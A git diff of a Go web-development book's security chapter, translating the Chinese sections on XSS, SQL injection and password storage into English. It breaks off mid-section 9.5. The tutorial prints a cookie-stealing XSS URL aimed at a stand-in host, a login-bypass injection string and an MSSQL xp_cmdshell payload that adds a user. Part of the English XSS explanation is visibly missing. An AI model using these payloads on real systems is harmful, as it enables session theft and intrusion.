168736a1..406e3afd 100644 --- a/en/09.3.md +++ b/en/09.3.md @@ -1,52 +1,62 @@ -# 9.3 避免XSS攻击 -随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 - -## 什么是XSS -XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。 - -XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 - -XSS目前主要的手段和目的如下: - -- 盗用cookie,获取敏感信息。 -- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 -- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。 -- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 -- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果 - -## XSS的原理 -Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。 - -接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息: - - hello astaxie - -如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 - -更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 - -## 如何预防XSS -答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。 - -目前防御XSS主要有如下几种方式: - -- 过滤特殊字符 - - 避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数: - - text/template包下面的HTMLEscapeString、JSEscapeString等函数 - -- 使用HTTP头指定类型 - - `w.Header().Set("Content-Type","text/javascript")` - - 这样就可以让浏览器解析javascript代码,而不会是html输出。 - - -## 总结 -XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。 - -## links - * [目录]() - * 上一节: [确保输入过滤](<09.2.md>) - * 下一节: [避免SQL注入](<09.4.md>) +# 9.3 XSS attacks + +With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by. + +## What is XSS + +As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval. + +XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden ``. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack? + +Just like before, we have a URL: + +`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>` + +By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities. + +For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" + +## How to prevent XSS + +The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks. + +Use the following techniques to defend against XSS attacks: + +- Filter special characters + +One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few. + +- Specify the content type in your HTTP headers + +`w.Header().Set("Content-Type","text/javascript")` + +This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner. + +## Summary + +Introducing XSS vulnerabilities is a very real hazard when developping web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS. + +## Links + +- [Directory](preface.md) +- Previous section: [Filter inputs](09.2.md) +- Next section: [SQL injection](09.4.md) diff --git a/en/09.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..1edeb87d --- /dev/null +++ b/en/09.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,52 @@ +# 9.3 避免XSS攻击 +随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 + +## 什么是XSS +XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。 + +XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 + +XSS目前主要的手段和目的如下: + +- 盗用cookie,获取敏感信息。 +- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 +- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。 +- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 +- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果 + +## XSS的原理 +Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。 + +接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息: + + hello astaxie + +如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 + +更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 + +## 如何预防XSS +答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。 + +目前防御XSS主要有如下几种方式: + +- 过滤特殊字符 + + 避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数: + + text/template包下面的HTMLEscapeString、JSEscapeString等函数 + +- 使用HTTP头指定类型 + + `w.Header().Set("Content-Type","text/javascript")` + + 这样就可以让浏览器解析javascript代码,而不会是html输出。 + + +## 总结 +XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。 + +## links + * [目录]() + * 上一节: [确保输入过滤](<09.2.md>) + * 下一节: [避免SQL注入](<09.4.md>) diff --git a/en/09.4.md b/en/09.4.md index 141323ed..d8823175 100644 --- a/en/09.4.md +++ b/en/09.4.md @@ -1,69 +1,75 @@ -# 9.4 避免SQL注入 -## 什么是SQL注入 -SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 - -而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。 -## SQL注入实例 -很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。 - -下面将通过一些真实的例子来详细讲解SQL注入的方式。 - -考虑以下简单的登录表单: - -
-

Username:

-

Password:

-

-
- -我们的处理里面的SQL可能是这样的: - - username:=r.Form.Get("username") - password:=r.Form.Get("password") - sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" - -如果用户的输入的用户名如下,密码任意 - - myuser' or 'foo' = 'foo' -- - -那么我们的SQL变成了如下所示: - - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' - -在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。 - -对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。 - - sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" - Db.Exec(sql) - -如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成 - - sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" - -MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。 - ->虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。 - - -## 如何预防SQL注入 -也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。 - -这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。 - -SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。 - -1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。 -2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。 -3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。 -4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。 -5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。 -6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。 - -## 总结 -通过上面的示例我们可以知道,SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用,应该对于每一个小细节都要非常重视,细节决定命运,生活如此,编写Web应用也是这样。 - -## links - * [目录]() - * 上一节: [避免XSS攻击](<09.3.md>) - * 下一节: [存储密码](<09.5.md>) +# 9.4 SQL injection + +## What is SQL injection + +SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes. + +SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's malicious code is executed instead. + +## SQL injection examples + +Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the level of the host system. + +Let's have a look at some real examples to explain the process of SQL injection in detail. + +Consider the following simple login form : + +
+

Username:

+

Password:

+

+
+ +Our form processing might look like this: + + username := r.Form.Get("username") + password := r.Form.Get("password") + sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'" + +If the user inputs a user name or password as: + + myuser' or 'foo' = 'foo' -- + +Then our SQL becomes the following: + + SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + +In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. + +Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases. + + sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" + Db.Exec(sql) + +If an attacker submits `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` as the "prod" variable, then the sql will become + + sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" + +The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine. + +> Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary. + +## How to prevent SQL injection + +You might be thinking that an attacker would have to know information about the target database's structure in order to carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks. + +These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has shown, even supposedly normal queries can cause disasters. + +SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection: + +1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks. +2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation. +3. Transcode or escape from pairs of special characters ( '"\&*; etc. ) before persisting them into the database. Go's `text/template` package has a `HTMLEscapeString` function that can be used to return escaped HTML. +4. Use your database's parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice ​​SQL statements. For example, using the the `Prepare` function in Go's `database/sql` package, we can create prepared statements for later execution with `Query` or `Exec(query string, args... interface {})`. +5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few. +6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements. + +## Summary + +Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds. + +## Links + +- [Directory](preface.md) +- Previous section: [XSS attacks](09.3.md) +- Next section: [Password storage](09.5.md) diff --git a/en/09.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..75c042da --- /dev/null +++ b/en/09.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,69 @@ +# 9.4 避免SQL注入 +## 什么是SQL注入 +SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 + +而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。 +## SQL注入实例 +很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。 + +下面将通过一些真实的例子来详细讲解SQL注入的方式。 + +考虑以下简单的登录表单: + +
+

Username:

+

Password:

+

+
+ +我们的处理里面的SQL可能是这样的: + + username:=r.Form.Get("username") + password:=r.Form.Get("password") + sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" + +如果用户的输入的用户名如下,密码任意 + + myuser' or 'foo' = 'foo' -- + +那么我们的SQL变成了如下所示: + + SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + +在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。 + +对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。 + + sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" + Db.Exec(sql) + +如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成 + + sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" + +MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。 + +>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。 + + +## 如何预防SQL注入 +也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。 + +这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。 + +SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。 + +1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。 +2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。 +3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。 +4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。 +5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。 +6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。 + +## 总结 +通过上面的示例我们可以知道,SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用,应该对于每一个小细节都要非常重视,细节决定命运,生活如此,编写Web应用也是这样。 + +## links + * [目录]() + * 上一节: [避免XSS攻击](<09.3.md>) + * 下一节: [存储密码](<09.5.md>) diff --git a/en/09.5.md b/en/09.5.md index 2ced04ee..1c206b8a 100644 --- a/en/09.5.md +++ b/en/09.5.md @@ -1,89 +1,98 @@ -# 9.5 存储密码 -过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业–Linkedin, 国内诸如CSDN,该事件横扫整个国内互联网,随后又爆出多玩游戏800万用户资料被泄露,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响,人人自危,因为人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。 - -那么我们作为一个Web应用开发者,在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱? - -## 普通方案 -目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。 - -Go语言对这三种加密算法的实现如下所示: - - //import "crypto/sha256" - h := sha256.New() - io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") - fmt.Printf("% x", h.Sum(nil)) - - //import "crypto/sha1" - h := sha1.New() - io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") - fmt.Printf("% x", h.Sum(nil)) - - //import "crypto/md5" - h := md5.New() - io.WriteString(h, "需要加密的密码") - fmt.Printf("%x", h.Sum(nil)) - -单向哈希有两个特性: - -- 1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。 -- 2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。 - -结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。 - -因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。 -## 进阶方案 -通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。 - -一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。 - -但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法,我们能想到,黑客自然也能想到。特别是对于一些开源代码,这样哈希更是相当于直接把算法告诉了黑客。 - -没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。 - - //import "crypto/md5" - //假设用户名abc,密码123456 - h := md5.New() - io.WriteString(h, "需要加密的密码") - - //pwmd5等于e10adc3949ba59abbe56e057f20f883e - pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) - - //指定两个 salt: salt1 = @#$% salt2 = ^&*() - salt1 := "@#$%" - salt2 := "^&*()" - - //salt1+用户名+salt2+MD5拼接 - io.WriteString(h, salt1) - io.WriteString(h, "abc") - io.WriteString(h, salt2) - io.WriteString(h, pwmd5) - - last :=fmt.Sprintf("%x", h.Sum(nil)) - -在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。 - -## 专家方案 -上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。 - -怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。 - -这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。 - -这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。 - -目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt - - dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) - -通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。 - -## 总结 -看到这里,如果你产生了危机感,那么就行动起来: - -- 1)如果你是普通用户,那么我们建议使用LastPass进行密码存储和生成,对不同的网站使用不同的密码; -- 2)如果你是开发人员, 那么我们强烈建议你采用专家方案进行密码存储。 - -## links - * [目录]() - * 上一节: [确保输入过滤](<09.4.md>) - * 下一节: [加密和解密数据](<09.6.md>) +# 9.5 Password storage + +Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been effected. The impact of these types of events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same password for many different websites. + +As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them? + +## Common solutions + +Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is infeasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. + +You can easily use the three 